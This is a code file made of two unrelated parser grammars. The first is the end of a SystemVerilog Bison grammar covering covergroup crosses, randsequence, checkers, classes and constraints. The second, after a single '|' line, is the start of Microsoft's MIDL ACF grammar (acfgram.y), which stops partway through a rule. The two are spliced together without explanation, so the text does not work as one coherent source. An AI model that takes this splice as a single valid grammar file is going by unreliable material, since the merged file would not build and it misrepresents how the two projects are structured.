| cross_item ',' cross_item ',' cross_itemList { }
;
cross_itemList: // IEEE: part of list_of_cross_items
cross_item
| cross_itemList ',' cross_item { }
;
cross_item: // ==IEEE: cross_item
idAny/*cover_point_identifier or variable_identifier*/ { }
;
cross_body: // ==IEEE: cross_body
'{' '}' { }
// // IEEE-2012: No semicolon here, mistake in spec
| '{' cross_body_itemSemiList '}' { }
| ';' { }
;
cross_body_itemSemiList: // IEEE: part of cross_body
cross_body_item ';' { }
| cross_body_itemSemiList cross_body_item ';' { }
;
cross_body_item: // ==IEEE: cross_body_item
// // IEEE: our semicolon is in the list
bins_selection_or_option { }
| function_declaration { }
;
bins_selection_or_option: // ==IEEE: bins_selection_or_option
coverage_option { }
| bins_selection { }
;
bins_selection: // ==IEEE: bins_selection
bins_keyword idAny/*new-bin_identifier*/ '=' select_expression iffE { }
;
select_expression: // ==IEEE: select_expression
// // IEEE: select_condition expanded here
yBINSOF '(' bins_expression ')' { }
| yBINSOF '(' bins_expression ')' yINTERSECT '{' covergroup_range_list '}' { }
| yWITH__PAREN '(' cgexpr ')' { }
// // IEEE-2012: Need clarification as to precedence
//UNSUP yWITH__PAREN '(' cgexpr ')' yMATCHES cgexpr { }
| '!' yBINSOF '(' bins_expression ')' { }
| '!' yBINSOF '(' bins_expression ')' yINTERSECT '{' covergroup_range_list '}' { }
| '!' yWITH__PAREN '(' cgexpr ')' { }
// // IEEE-2012: Need clarification as to precedence
//UNSUP '!' yWITH__PAREN '(' cgexpr ')' yMATCHES cgexpr { }
| select_expression yP_ANDAND select_expression { }
| select_expression yP_OROR select_expression { }
| '(' select_expression ')' { }
// // IEEE-2012: cross_identifier
// // Part of covergroup_expression - generic identifier
// // IEEE-2012: Need clarification as to precedence
//UNSUP covergroup_expression [ yMATCHES covergroup_expression ]
;
bins_expression: // ==IEEE: bins_expression
// // "cover_point_identifier" and "variable_identifier" look identical
id/*variable_identifier or cover_point_identifier*/ { }
| id/*cover_point_identifier*/ '.' idAny/*bins_identifier*/ { }
;
coverage_eventE: // IEEE: [ coverage_event ]
/* empty */ { }
| clocking_event { }
| yWITH__ETC function idAny/*"sample"*/ '(' tf_port_listE ')' { }
| yP_ATAT '(' block_event_expression ')' { }
;
block_event_expression: // ==IEEE: block_event_expression
block_event_expressionTerm { }
| block_event_expression yOR block_event_expressionTerm { }
;
block_event_expressionTerm: // IEEE: part of block_event_expression
yBEGIN hierarchical_btf_identifier { }
| yEND hierarchical_btf_identifier { }
;
hierarchical_btf_identifier: // ==IEEE: hierarchical_btf_identifier
// // hierarchical_tf_identifier + hierarchical_block_identifier
hierarchical_identifier/*tf_or_block*/ { }
// // method_identifier
| hierarchical_identifier class_scope_id { }
| hierarchical_identifier id { }
;
//**********************************************************************
// Randsequence
randsequence_statement: // ==IEEE: randsequence_statement
yRANDSEQUENCE '(' ')' productionList yENDSEQUENCE { }
| yRANDSEQUENCE '(' id/*production_identifier*/ ')' productionList yENDSEQUENCE { }
;
productionList: // IEEE: production+
production { }
| productionList production { }
;
production: // ==IEEE: production
productionFront ':' rs_ruleList ';' { }
;
productionFront: // IEEE: part of production
function_data_type id/*production_identifier*/ { }
| /**/ id/*production_identifier*/ { }
| function_data_type id/*production_identifier*/ '(' tf_port_listE ')' { }
| /**/ id/*production_identifier*/ '(' tf_port_listE ')' { }
;
rs_ruleList: // IEEE: rs_rule+ part of production
rs_rule { }
| rs_ruleList '|' rs_rule { }
;
rs_rule: // ==IEEE: rs_rule
rs_production_list { }
| rs_production_list yP_COLONEQ weight_specification { }
| rs_production_list yP_COLONEQ weight_specification rs_code_block { }
;
rs_production_list: // ==IEEE: rs_production_list
rs_prodList { }
| yRAND yJOIN /**/ production_item production_itemList { }
| yRAND yJOIN '(' expr ')' production_item production_itemList { }
;
weight_specification: // ==IEEE: weight_specification
yaINTNUM { }
| idClassSel/*ps_identifier*/ { }
| '(' expr ')' { }
;
rs_code_block: // ==IEEE: rs_code_block
'{' '}' { }
| '{' rs_code_blockItemList '}' { }
;
rs_code_blockItemList: // IEEE: part of rs_code_block
rs_code_blockItem { }
| rs_code_blockItemList rs_code_blockItem { }
;
rs_code_blockItem: // IEEE: part of rs_code_block
data_declaration { }
| stmt { }
;
rs_prodList: // IEEE: rs_prod+
rs_prod { }
| rs_prodList rs_prod { }
;
rs_prod: // ==IEEE: rs_prod
production_item { }
| rs_code_block { }
// // IEEE: rs_if_else
| yIF '(' expr ')' production_item %prec prLOWER_THAN_ELSE { }
| yIF '(' expr ')' production_item yELSE production_item { }
// // IEEE: rs_repeat
| yREPEAT '(' expr ')' production_item { }
// // IEEE: rs_case
| yCASE '(' expr ')' rs_case_itemList yENDCASE { }
;
production_itemList: // IEEE: production_item+
production_item { }
| production_itemList production_item { }
;
production_item: // ==IEEE: production_item
id/*production_identifier*/ { }
| id/*production_identifier*/ '(' list_of_argumentsE ')' { }
;
rs_case_itemList: // IEEE: rs_case_item+
rs_case_item { }
| rs_case_itemList rs_case_item { }
;
rs_case_item: // ==IEEE: rs_case_item
caseCondList ':' production_item ';' { }
| yDEFAULT production_item ';' { }
| yDEFAULT ':' production_item ';' { }
;
//**********************************************************************
// Checker
checker_declaration: // ==IEEE: part of checker_declaration
checkerFront checker_port_listE ';'
checker_or_generate_itemListE yENDCHECKER endLabelE
{ PARSEP->symPopScope(VAstType::CHECKER); }
;
checkerFront: // IEEE: part of checker_declaration
yCHECKER idAny/*checker_identifier*/
{ PARSEP->symPushNew(VAstType::CHECKER, $2); }
;
checker_port_listE: // IEEE: [ ( [ checker_port_list ] ) ]
// // checker_port_item is basically the same as property_port_item, minus yLOCAL::
// // Want to bet 1800-2012 adds local to checkers?
property_port_listE { }
;
checker_or_generate_itemListE: // IEEE: [{ checker_or_generate_itemList }]
/* empty */ { }
| checker_or_generate_itemList { }
;
checker_or_generate_itemList: // IEEE: { checker_or_generate_itemList }
checker_or_generate_item { }
| checker_or_generate_itemList checker_or_generate_item { }
;
checker_or_generate_item: // ==IEEE: checker_or_generate_item
checker_or_generate_item_declaration { }
| initial_construct { }
// // IEEE: checker_construct
| yALWAYS stmtBlock { }
| final_construct { }
| assertion_item { }
| continuous_assign { }
| checker_generate_item { }
;
checker_or_generate_item_declaration: // ==IEEE: checker_or_generate_item_declaration
data_declaration { }
| yRAND data_declaration { }
| function_declaration { }
| checker_declaration { }
| assertion_item_declaration { }
| covergroup_declaration { }
| overload_declaration { }
| genvar_declaration { }
| clocking_declaration { }
| yDEFAULT yCLOCKING id/*clocking_identifier*/ ';' { }
| yDEFAULT yDISABLE yIFF expr/*expression_or_dist*/ ';' { }
| ';' { }
;
checker_generate_item: // ==IEEE: checker_generate_item
// // Specialized for checker so need "c_" prefixes here
c_loop_generate_construct { }
| c_conditional_generate_construct { }
| c_generate_region { }
//
| elaboration_system_task { }
;
checker_instantiation:
// // Only used for procedural_assertion_item's
// // Version in concurrent_assertion_item looks like etcInst
// // Thus instead of *_checker_port_connection we can use etcInst's cellpinList
id/*checker_identifier*/ id '(' cellpinList ')' ';' { }
;
//**********************************************************************
// Class
class_declaration: // ==IEEE: part of class_declaration
// // IEEE-2012: using this also for interface_class_declaration
// // The classExtendsE rule relys on classFront having the
// // new class scope correct via classFront
classFront parameter_port_listE classExtendsE classImplementsE ';'
class_itemListE yENDCLASS endLabelE
{ PARSEP->endclassCb($<fl>7,$7);
PARSEP->symPopScope(VAstType::CLASS); }
;
classFront: // IEEE: part of class_declaration
classVirtualE yCLASS lifetimeE idAny/*class_identifier*/
{ PARSEP->symPushNew(VAstType::CLASS, $4);
PARSEP->classCb($<fl>2,$2,$4,$1); }
// // IEEE: part of interface_class_declaration
| yINTERFACE yCLASS lifetimeE idAny/*class_identifier*/
{ PARSEP->symPushNew(VAstType::CLASS, $4);
PARSEP->classCb($<fl>2,$2,$4,$1); }
;
classVirtualE<str>:
/* empty */ { $$=""; }
| yVIRTUAL__CLASS { $<fl>$=$<fl>1; $$=$1; }
;
classExtendsE: // IEEE: part of class_declaration
// // The classExtendsE rule relys on classFront having the
// // new class scope correct via classFront
/* empty */ { }
| yEXTENDS class_typeWithoutId { PARSEP->syms().import($<fl>1,$<str>2,$<scp>2,"*"); }
| yEXTENDS class_typeWithoutId '(' list_of_argumentsE ')' { PARSEP->syms().import($<fl>1,$<str>2,$<scp>2,"*"); }
;
classImplementsE: // IEEE: part of class_declaration
// // All 1800-2012
/* empty */ { }
| yIMPLEMENTS classImplementsList { PARSEP->syms().import($<fl>1,$<str>2,$<scp>2,"*"); }
;
classImplementsList: // IEEE: part of class_declaration
// // All 1800-2012
class_typeWithoutId { }
| classImplementsList ',' class_typeWithoutId { }
;
//=========
// Package scoping - to traverse the symbol table properly, the final identifer
// must be included in the rules below.
// Each of these must end with {symsPackageDone | symsClassDone}
ps_id_etc<str>: // package_scope + general id
package_scopeIdFollowsE id { $<fl>$=$<fl>1; $$=$1+$2; }
;
class_scope_id<str_scp>: // class_scope + id etc
class_scopeIdFollows id { $<fl>$=$<fl>1; $<scp>$=$<scp>1; $<str>$=$<str>1+$<str>2; }
;
//=== Below rules assume special scoping per above
class_typeWithoutId<str_scp>: // as with class_typeWithoutId but allow yaID__aTYPE
// // and we thus don't need to resolve it in specified package
package_scopeIdFollowsE class_typeOneList { $<fl>$=$<fl>2; $<scp>$=$<scp>2; $<str>$=$1+$<str>2; }
;
class_scopeWithoutId<str_scp>: // class_type standalone without following id
// // and we thus don't need to resolve it in specified package
class_scopeIdFollows { $<fl>$=$<fl>1; $<scp>$=$<scp>1; $<str>$=$<str>1; PARSEP->symTableNextId(NULL); }
;
class_scopeIdFollows<str_scp>: // IEEE: class_scope + type
// // IEEE: "class_type yP_COLONCOLON"
// // IMPORTANT: The lexer will parse the following ID to be in the found package
// // But class_type:'::' conflicts with class_scope:'::' so expand here
package_scopeIdFollowsE class_typeOneListColonIdFollows { $<fl>$=$<fl>2; $<scp>$=$<scp>2; $<str>$=$1+$<str>2; }
;
class_typeOneListColonIdFollows<str_scp>: // IEEE: class_type :: but allow yaID__aTYPE
class_typeOneList yP_COLONCOLON { $<fl>$=$<fl>1; $<scp>$=$<scp>1; $<str>$=$<str>1+$<str>2; PARSEP->symTableNextId($<scp>1); }
;
class_typeOneList<str_scp>: // IEEE: class_type: "id [ parameter_value_assignment ]" but allow yaID__aTYPE
// // If you follow the rules down, class_type is really a list via ps_class_identifier
// // Must propagate scp up for next id
class_typeOne { $<fl>$=$<fl>1; $<scp>$=$<scp>1; $<str>$=$<str>1; }
| class_typeOneListColonIdFollows class_typeOne { $<fl>$=$<fl>1; $<scp>$=$<scp>2; $<str>$=$<str>1+$<str>2; }
;
class_typeOne<str_scp>: // IEEE: class_type: "id [ parameter_value_assignment ]" but allow yaID__aTYPE
// // If you follow the rules down, class_type is really a list via ps_class_identifier
// // Not listed in IEEE, but see bug627 any parameter type maybe a class
yaID__aTYPE parameter_value_assignmentE
{ $<fl>$=$<fl>1; $<scp>$=$<scp>1; $<str>$=$<str>1; }
;
package_scopeIdFollowsE<str>: // IEEE: [package_scope]
// // IMPORTANT: The lexer will parse the following ID to be in the found package
/* empty */ { $$=""; }
| package_scopeIdFollows { $<fl>$=$<fl>1; $$=$1; }
;
package_scopeIdFollows<str>: // IEEE: package_scope
// // IMPORTANT: The lexer will parse the following ID to be in the found package
// // class_qualifier := [ yLOCAL '::' ] [ implicit_class_handle '.' | class_scope ]
// //vv mid rule action needed otherwise we might not have NextId in time to parse the id token
yD_UNIT { PARSEP->symTableNextId(PARSEP->syms().netlistSymp()); }
/*cont*/ yP_COLONCOLON { $<fl>$=$<fl>1; $<str>$=$<str>1+$<str>3; }
| yaID__aPACKAGE { PARSEP->symTableNextId($<scp>1); }
/*cont*/ yP_COLONCOLON { $<fl>$=$<fl>1; $<str>$=$<str>1+$<str>3; }
| yLOCAL__COLONCOLON { PARSEP->symTableNextId($<scp>1); }
/*cont*/ yP_COLONCOLON { $<fl>$=$<fl>1; $<str>$=$<str>1+$<str>3; }
;
//^^^=========
class_itemListE:
/* empty */ { }
| class_itemList { }
;
class_itemList:
class_item { }
| class_itemList class_item { }
;
class_item: // ==IEEE: class_item
class_property { }
| class_method { }
| class_constraint { }
//
| class_declaration { }
| timeunits_declaration { }
| covergroup_declaration { }
| local_parameter_declaration ';' { } // 1800-2009
| parameter_declaration ';' { } // 1800-2009
| ';' { }
//
| error ';' { }
;
class_method: // ==IEEE: class_method
memberQualResetListE task_declaration { }
| memberQualResetListE function_declaration { }
// // 1800-2009 adds yPURE yVIRTUAL, already in memberQualResetListE
| yEXTERN memberQualResetListE method_prototype ';' { }
// // IEEE: "method_qualifierE class_constructor_declaration"
// // part of function_declaration
| yEXTERN memberQualResetListE class_constructor_prototype { }
;
// IEEE: class_constructor_prototype
// See function_declaration
class_item_qualifier<str>: // IEEE: class_item_qualifier minus ySTATIC
// // IMPORTANT: yPROTECTED | yLOCAL is in a lex rule
yPROTECTED { $<fl>$=$<fl>1; $$=$1; }
| yLOCAL__ETC { $<fl>$=$<fl>1; $$=$1; }
| ySTATIC__ETC { $<fl>$=$<fl>1; $$=$1; }
;
memberQualResetListE: // Called from class_property for all qualifiers before yVAR
// // Also before method declarations, to prevent grammar conflict
// // Thus both types of qualifiers (method/property) are here
/*empty*/ { VARRESET(); VARDTYPE(""); }
| memberQualList { VARRESET(); VARDTYPE($1); }
;
memberQualList<str>:
memberQualOne { $<fl>$=$<fl>1; $$=$1; }
| memberQualList memberQualOne { $<fl>$=$<fl>1; $$=SPACED($1,$2); }
;
memberQualOne<str>: // IEEE: property_qualifier + method_qualifier
// // Part of method_qualifier and property_qualifier
class_item_qualifier { $<fl>$=$<fl>1; $$=$1; }
// // Part of method_qualifier only
| yVIRTUAL__ETC { $<fl>$=$<fl>1; $$=$1; }
// // IMPORTANT: lexer looks for yPURE yVIRTUAL
| yPURE yVIRTUAL__ETC { $<fl>$=$<fl>1; $$=$1+" "+$2; }
// // Part of property_qualifier only
| random_qualifier { $<fl>$=$<fl>1; $$=$1; }
// // Part of lifetime, but here as ySTATIC can be in different positions
| yAUTOMATIC { $<fl>$=$<fl>1; $$=$1; }
// // Part of data_declaration, but not in data_declarationVarFrontClass
| yCONST__ETC { $<fl>$=$<fl>1; $$=$1; }
;
//**********************************************************************
// Constraints
class_constraint: // ==IEEE: class_constraint
// // IEEE: constraint_declaration
constraintStaticE yCONSTRAINT idAny constraint_block { }
// // IEEE: constraint_prototype + constraint_prototype_qualifier
| constraintStaticE yCONSTRAINT idAny ';' { }
| yEXTERN constraintStaticE yCONSTRAINT idAny ';' { }
| yPURE constraintStaticE yCONSTRAINT idAny ';' { }
;
constraint_block: // ==IEEE: constraint_block
'{' constraint_block_itemList '}' { }
;
constraint_block_itemList: // IEEE: { constraint_block_item }
constraint_block_item { }
| constraint_block_itemList constraint_block_item { }
;
constraint_block_item: // ==IEEE: constraint_block_item
ySOLVE solve_before_list yBEFORE solve_before_list ';' { }
| constraint_expression { }
;
solve_before_list: // ==IEEE: solve_before_list
constraint_primary { }
| solve_before_list ',' constraint_primary { }
;
constraint_primary: // ==IEEE: constraint_primary
// // exprScope more general than: [ implicit_class_handle '.' | class_scope ] hierarchical_identifier select
exprScope { }
;
constraint_expressionList<str>: // ==IEEE: { constraint_expression }
constraint_expression { $$=$1; }
| constraint_expressionList constraint_expression { $$=$1+" "+$2; }
;
constraint_expression<str>: // ==IEEE: constraint_expression
expr/*expression_or_dist*/ ';' { $$=$1; }
// // 1800-2012:
| ySOFT expr/*expression_or_dist*/ ';' { $$="soft "+$1; }
// // 1800-2012:
// // IEEE: uniqueness_constraint ';'
| yUNIQUE '{' open_range_list '}' { $$="unique {...}"; }
// // IEEE: expr yP_MINUSGT constraint_set
// // Conflicts with expr:"expr yP_MINUSGT expr"; rule moved there
//
| yIF '(' expr ')' constraint_set %prec prLOWER_THAN_ELSE { $$=$1; }
| yIF '(' expr ')' constraint_set yELSE constraint_set { $$=$1;}
// // IEEE says array_identifier here, but dotted accepted in VMM + 1800-2009
| yFOREACH '(' idClassForeach/*array_id[loop_variables]*/ ')' constraint_set { $$=$1; }
// // soft is 1800-2012
| yDISABLE ySOFT expr/*constraint_primary*/ ';' { $$="disable soft "+$1; }
;
constraint_set<str>: // ==IEEE: constraint_set
constraint_expression { $$=$1; }
| '{' constraint_expressionList '}' { $$=$1+$2+$3; }
;
dist_list: // ==IEEE: dist_list
dist_item { }
| dist_list ',' dist_item { }
;
dist_item: // ==IEEE: dist_item + dist_weight
value_range { }
| value_range yP_COLONEQ expr { }
| value_range yP_COLONDIV expr { }
;
extern_constraint_declaration: // ==IEEE: extern_constraint_declaration
constraintStaticE yCONSTRAINT class_scope_id constraint_block { }
;
constraintStaticE: // IEEE: part of extern_constraint_declaration
/* empty */ { }
| ySTATIC__CONSTRAINT { }
;
//**********************************************************************
%%
int VParseGrammar::parse() {
s_grammarp = this;
return VParseBisonparse();
}
void VParseGrammar::debug(int level) {
VParseBisondebug = level;
}
const char* VParseGrammar::tokenName(int token) {
#if YYDEBUG || YYERROR_VERBOSE
if (token >= 255) {
switch (token) {
/*BISONPRE_TOKEN_NAMES*/
default: return yytname[token-255];
}
} else {
static char ch[2]; ch[0]=token; ch[1]='\0';
return ch;
}
#else
return "";
#endif
}
//YACC = /kits/sources/bison-2.4.1/src/bison --report=lookahead
// --report=lookahead
// --report=itemset
// --graph
//
// Local Variables:
// compile-command: "cd .. ; make -j 8 && make test"
// End:
|
/*****************************************************************************
** Microsoft LAN Manager
** Copyright(c) Microsoft Corp., 1987-1999
*****************************************************************************/
/*****************************************************************************
File : acfgram.y
Title : the acf grammar file
Description : contains the syntactic and semantic handling of the
: acf file
History :
26-Dec-1990 VibhasC Started rewrite of acf
*****************************************************************************/
%{
/****************************************************************************
*** local defines
***************************************************************************/
#define pascal
#define FARDATA
#define NEARDATA
#define FARCODE
#define NEARCODE
#define NEARSWAP
#define YYFARDATA
#define PASCAL pascal
#define CDECL
#define VOID void
#define CONST const
#define GLOBAL
#define YYSTYPE lextype_t
#define YYNEAR NEARCODE
#define YYPASCAL PASCAL
#define YYPRINT printf
#define YYSTATIC static
#define YYCONST static const
#define YYLEX yylex
#define YYPARSER yyparse
#define yyval yyacfval
// enable compilation under /W4
#pragma warning ( disable : 4514 4710 4244 4706 )
#include "nulldefs.h"
extern "C" {
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#define yyparse yyacfparse
int yyacfparse();
}
#include "allnodes.hxx"
#include "lexutils.hxx"
#include "gramutil.hxx"
#include "filehndl.hxx"
#include "control.hxx"
#include "cmdana.hxx"
extern "C" {
#include "lex.h"
}
/****************************************************************************
*** local defines contd..
***************************************************************************/
#define PUSH_SYMBOL_TABLE(pName, Tag, pSymTbl) \
{ \
pSymTbl = pBaseSymTbl; \
SymKey SKey( pName, Tag ); \
pSymTbl->EnterScope(SKey, &pSymTbl);\
}
#define POP_SYMBOL_TABLE( pSymTbl ) \
pSymTbl->ExitScope(&pSymTbl)
/****************************************************************************
*** local data
***************************************************************************/
node_proc * pAcfProc;
int iParam;
int cParams;
node_interface * pCurInterfaceNode;
/****************************************************************************
*** extern procs
***************************************************************************/
extern void yyunlex( token_t );
extern char * GenTempName();
extern STATUS_T GetBaseTypeNode(node_skl**,short,short,short, short);
extern short CheckValidAllocate( char * );
extern void SyntaxError( STATUS_T, short );
extern short PossibleMissingToken( short, short );
extern CMD_ARG * pCommand;
/****************************************************************************
*** local data
***************************************************************************/
/****************************************************************************
*** extern data
***************************************************************************/
extern SymTable * pBaseSymTbl;
extern NFA_INFO * pImportCntrl;
extern PASS_2 * pPass2;
%}
%start AcfFile
%token KWINTERFACE
%token KWIMPORT
%token KWIMPORTODLBASE
%token KWCPPQUOTE
%token KWCPRAGMA
%token KWCPRAGMAPACK
%token KWMPRAGMAIMPORT
%token KWMPRAGMAECHO
%token KWMPRAGMAIMPORTCLNTAUX
%token KWMPRAGMAIMPORTSRVRAUX
%token KWMIDLPRAGMA
%token TYPENAME
%token LIBNAME
%token KWVOID
%token KWUNSIGNED
%token KWSIGNED
%token KWFLOAT
%token KWDOUBLE
%token KWINT
%token KWBYTE
%token KWCHAR
%token KWSMALL
%token KWLONG
%token KWSHORT
%token KWHYPER
%token KWINT32
%token KWINT3264
%token KWINT64
%token KWINT128
%token KWFLOAT80
%token KWFLOAT128
%token KWSTRUCT
%token KWUNION
%token KWENUM
%token KWSHORTENUM
%token KWLONGENUM
%token KWCONST
%token KWVOLATILE
%token KW_C_INLINE
%token KWTYPEDEF
%token KWDECLGUID
%token KWEXTERN
%token KWSTATIC
%token KWAUTO
%token KWREGISTER
%token KWERRORSTATUST
%token KWBOOLEAN
%token KWISOLATIN1
%token KWPRIVATECHAR8
%token KWISOMULTILINGUAL
%token KWPRIVATECHAR16
%token KWISOUCS
%token KWPIPE
%token KWSWITCH
%token KWCASE
%token KWDEFAULT
%token KWUUID
%token KWASYNCUUID
%token KWVERSION
%token KWSTRING
%token KWBSTRING
%token KWIN
%token KWOUT
%token KWPARTIALIGNORE
%token KWIIDIS
%token KWFIRSTIS
%token KWLASTIS
%token KWMAXIS
%token KWMINIS
%token KWLENGTHIS
%token KWSIZEIS
%token KWRANGE
/* start of ODL key words */
%token KWID
%token KWHC /* helpcontext attribute */
%token KWHSC /* helpstring context attribute */
%token KWLCID
%token KWDLLNAME
%token KWHELPSTR
%token KWHELPFILE
%token KWHELPSTRINGDLL
%token KWENTRY
%token KWPROPGET
%token KWPROPPUT
%token KWPROPPUTREF
%token KWOPTIONAL
%token KWVARARG
%token KWAPPOBJECT
%token KWRESTRICTED
%token KWPUBLIC
%token KWREADONLY
%token KWODL
%token KWSOURCE
%token KWBINDABLE
%token KWREQUESTEDIT
%token KWDISPLAYBIND
%token KWDEFAULTBIND
%token KWLICENSED
%token KWPREDECLID
%token KWHIDDEN
%token KWRETVAL
%token KWCONTROL
%token KWDUAL
%token KWPROXY
%token KWNONEXTENSIBLE
%token KWNONCREATABLE
%token KWOLEAUTOMATION
%token KWLIBRARY
%token KWMODULE
%token KWDISPINTERFACE
%token KWCOCLASS
%token KWMETHODS
%token KWPROPERTIES
%token KWIMPORTLIB
%token KWFUNCDESCATTR
%token KWIDLDESCATTR
%token KWTYPEDESCATTR
%token KWVARDESCATTR
%token KWSAFEARRAY
%token KWAGGREGATABLE
%token KWUIDEFAULT
%token KWNONBROWSABLE
%token KWDEFAULTCOLLELEM
%token KWDEFAULTVALUE
%token KWCUSTOM
%token KWDEFAULTVTABLE
%token KWIMMEDIATEBIND
%token KWUSESGETLASTERROR
%token KWREPLACEABLE
/* end of ODL key words */
%token KWHANDLET /* Formerly RPCHNDL */
%token KWHANDLE /* Formerly GEN_HNDL */
%token KWCONTEXTHANDLE /* Aka LRPC_CTXT_HNDL */
%token KWMSUNION
%token KWMS_CONF_STRUCT
%token KWENDPOINT
%token KWDEFAULTPOINTER
%token KWLOCAL
%token KWSWITCHTYPE
%token KWSWITCHIS
%token KWTRANSMITAS
%token KWWIREMARSHAL
%token KWIGNORE
%token KWREF
%token KWUNIQUE
%token KWPTR
%token KWV1ARRAY
%token KWV1STRUCT
%token KWV1ENUM
%token KWV1STRING
%token KWIDEMPOTENT
%token KWBROADCAST
%token KWMAYBE
%token KWASYNC
%token KWINPUTSYNC
%token KWCALLBACK
%token KWALIGN
%token KWUNALIGNED
%token KWOPTIMIZE
%token KWMESSAGE
%token STRING
%token WIDECHARACTERSTRING
%token FLOATCONSTANT
%token DOUBLECONSTANT
%token KWTOKENNULL
%token NUMERICCONSTANT
%token NUMERICUCONSTANT
%token NUMERICLONGCONSTANT
%token NUMERICULONGCONSTANT
%token HEXCONSTANT
%token HEXUCONSTANT
%token HEXLONGCONSTANT
%token HEXULONGCONSTANT
%token OCTALCONSTANT
%token OCTALUCONSTANT
%token OCTALLONGCONSTANT
%token OCTALULONGCONSTANT
%token CHARACTERCONSTANT
%token WIDECHARACTERCONSTANT
%token IDENTIFIER
%token KWSIZEOF
%token KWALIGNOF
%token TOKENTRUE
%token TOKENFALSE
/* These are Microsoft C abominations */
%token KWMSCDECLSPEC
%token MSCEXPORT
%token MSCFORTRAN
%token MSCCDECL
%token MSCSTDCALL
%token MSCLOADDS
%token MSCSAVEREGS
%token MSCFASTCALL
%token MSCSEGMENT
%token MSCINTERRUPT
%token MSCSELF
%token MSCNEAR
%token MSCFAR
%token MSCUNALIGNED
%token MSCHUGE
%token MSCPTR32
%token MSCPTR64
%token MSCPASCAL
%token MSCEMIT
%token MSCASM
%token MSCW64
/* Microsoft proposed extentions to MIDL */
%token KWNOCODE /* Allowed in .IDL in addition to .ACF */
/* These are residual C tokens I'm not sure we should even allow */
%token POINTSTO
%token INCOP
%token DECOP
%token MULASSIGN
%token DIVASSIGN
%token MODASSIGN
%token ADDASSIGN
%token SUBASSIGN
%token LEFTASSIGN
%token RIGHTASSIGN
%token ANDASSIGN
%token XORASSIGN
%token ORASSIGN
%token DOTDOT
%token LTEQ
%token GTEQ
%token NOTEQ
%token LSHIFT
%token RSHIFT
%token ANDAND
%token EQUALS
%token OROR
/* used by lex internally to signify "get another token" */
%token NOTOKEN
/* garbage token - should cause parse errors */
%token GARBAGETOKEN
/* OLE extensions */
%token KWOBJECT
/* Note that we're assuming that we get constants back and can check
bounds (e.g. "are we integer") in the semantic actoins.
*/
/*
ACF - Specific Tokens
*/
%token KWSHAPE
%token KWBYTECOUNT
%token KWIMPLICITHANDLE
%token KWAUTOHANDLE
%token KWEXPLICITHANDLE
%token KWREPRESENTAS
%token KWCALLAS
%token KWCODE
%token KWINLINE
%token KWOUTOFLINE
%token KWINTERPRET
%token KWNOINTERPRET
%token KWCOMMSTATUS
%token KWFAULTSTATUS
%token KWHEAP
%token KWINCLUDE
%token KWPOINTERSIZE
%token KWOFFLINE
%token KWALLOCATE
%token KWENABLEALLOCATE
%token KWMANUAL
%token KWNOTIFY
%token KWNOTIFYFLAG
%token KWUSERMARSHAL
%token KWENCODE
%token KWDECODE
%token KWSTRICTCONTEXTHANDLE
%token KWNOSERIALIZE
%token KWSERIALIZE
%token KWCSCHAR
%token KWCSDRTAG
%token KWCSRTAG
%token KWCSSTAG
%token KWCSTAGRTN
%token KWFORCEALLOCATE
/* Currently Unsupported Tokens */
%token KWBITSET
%token UUIDTOKEN
%token VERSIONTOKEN
%token EOI
%token LASTTOKEN
/***************************************************************************
* acf specific parse stack data types
***************************************************************************/
%type <yy_short> AcfAllocationUnitList
%type <yy_short> AcfAllocationUnit
%type <yy_short> AcfBodyElement
%type <yy_attr> AcfEnumSizeAttr
%type <yy_attr> AcfHandleAttr
%type <yy_graph> AcfHandleTypeSpec
%type <yy_attr> AcfImplicitHandleSpec
%type <yy_graph> AcfInclude
%type <yy_graph> AcfIncludeList
%type <yy_string> AcfIncludeName
%type <yy_attr> AcfAttr
%type <yy_attrlist> AcfAttrList
%type <yy_attrlist> AcfAttrs
%type <yy_string> AcfInterfaceName
%type <yy_attr> AcfOpAttr
%type <yy_attr> AcfOptimizationAttr
%type <yy_attrlist> AcfOptionalAttrList
%type <yy_attr> AcfParamAttr
%type <yy_attr> AcfRepresentType
%type <yy_attr> AcfUserMarshalType
%type <yy_attr> AcfCallType
%type <yy_graph> AcfType
%type <yy_attr> AcfTypeAttr
%type <yy_tnlist> AcfTypeNameList
%type <yy_attr> AcfUnimplementedAttr
%type <yy_modifiers> FuncModifier
%type <yy_modifiers> FuncModifiers
%type <yy_modifiers> OptFuncModifiers
%type <yy_modifiers> MscDeclSpec
%type <yy_modifiers> KWMSCDECLSPEC
%type <yy_string> IDENTIFIER
%type <yy_string> ImplicitHandleIDName
%type <yy_numeric> NUMERICCONSTANT
%type <yy_string> STRING
%type <yy_graph> TYPENAME
%%
AcfFile:
AcfInterfaceList EOI
;
AcfInterfaceList:
AcfInterfaceList AcfInterface
{
if( !pCommand->IsSwitchDefined( SWITCH_MS_EXT ) )
{
ParseError( MULTIPLE_INTF_NON_OSF, NULL );
}
}
| AcfInterface
;
AcfInterface:
AcfInterfaceHeader '{' AcfOptionalInterfaceBody '}'
| AcfInterfaceHeader ';'
| AcfBodyElement
;
AcfInterfaceHeader:
AcfOptionalAttrList KWINTERFACE AcfInterfaceName
{
named_node * pNode;
// the user MUST have defined the type.
SymKey SKey( $3, NAME_DEF );
//Search for an interface_reference node in the symbol table.
pNode = pBaseSymTbl->SymSearch( SKey );
if ( pNode )
pNode = ( (node_interface_reference *)pNode )->GetRealInterface();
//If the acf switch is specified and there is only one interface
//in the IDL file, then tolerate mismatches in the interface name.
if ( (!pNode) && pCommand->IsSwitchDefined( SWITCH_ACF ) )
{
node_file *pFileNode = pPass2->GetFileNode();
node_interface *pFirst;
pFirst = (node_interface *) pFileNode->GetFirstMember();
if(pFirst && pFirst->GetSibling())
pNode = 0;
else
pNode = pFirst;
}
if ( (!pNode) || ( !pNode->IsInterfaceOrObject() ) )
{
ParseError( ACF_INTERFACE_MISMATCH, $3 );
returnflag = 1;
return;
}
pCurInterfaceNode = (node_interface *)pNode;
if( $1.NonNull() )
{
pCurInterfaceNode->AddAttributes( $1 );
if ( pCurInterfaceNode->FInSummary( ATTR_ENCODE ) ||
pCurInterfaceNode->FInSummary( ATTR_DECODE ) )
{
pCurInterfaceNode->SetPickleInterface();
}
}
}
;
AcfOptionalAttrList:
AcfAttrList
| /* Empty */
{
$$.MakeAttrList();
}
;
AcfAttrList:
'[' AcfAttrs ']'
{
$$ = $2;
}
;
AcfAttrs:
AcfAttrs ',' AcfAttr
{
($$ = $1).SetPeer( $3 );
}
| AcfAttr
{
$$.MakeAttrList( $1 );
}
;
/*** Interface attributes ***/
AcfAttr:
AcfHandleAttr
{
$$ = $1;
}
| AcfTypeAttr
{
